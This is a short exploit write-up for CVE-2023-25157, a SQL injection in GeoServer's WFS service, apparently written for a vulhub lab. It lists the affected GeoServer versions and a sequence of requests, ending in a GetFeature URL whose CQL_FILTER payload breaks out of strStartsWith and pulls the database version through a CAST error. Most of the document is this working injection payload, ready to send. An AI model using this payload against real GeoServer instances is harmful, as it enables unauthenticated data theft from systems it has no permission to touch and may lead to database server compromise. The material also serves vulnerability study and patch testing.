
Exploit for CVE-2023-25157: SQL injection in GeoServer WFS service via crafted CQL filter syntax, enabling unauthenticated remote data extraction and potential database server compromise.
Due to the lack of input filtering, remote unauthenticated attackers can craft malformed filter syntax, bypass GeoServer's lexical parsing, leading to SQL injection, obtaining sensitive information from the server, and possibly gaining database server privileges.
GeoServer 2.20.x < 2.20.7
GeoServer 2.19.x < 2.19.7
GeoServer 2.18.x < 2.18.7
GeoServer 2.21.x < 2.21.4
GeoServer 2.22.x < 2.22.2
Search
/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

Obtain related attributes for the vulhub:example feature type name
/geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=vulhub:example

/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,'x'')+=+true+and+1=(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+=+true



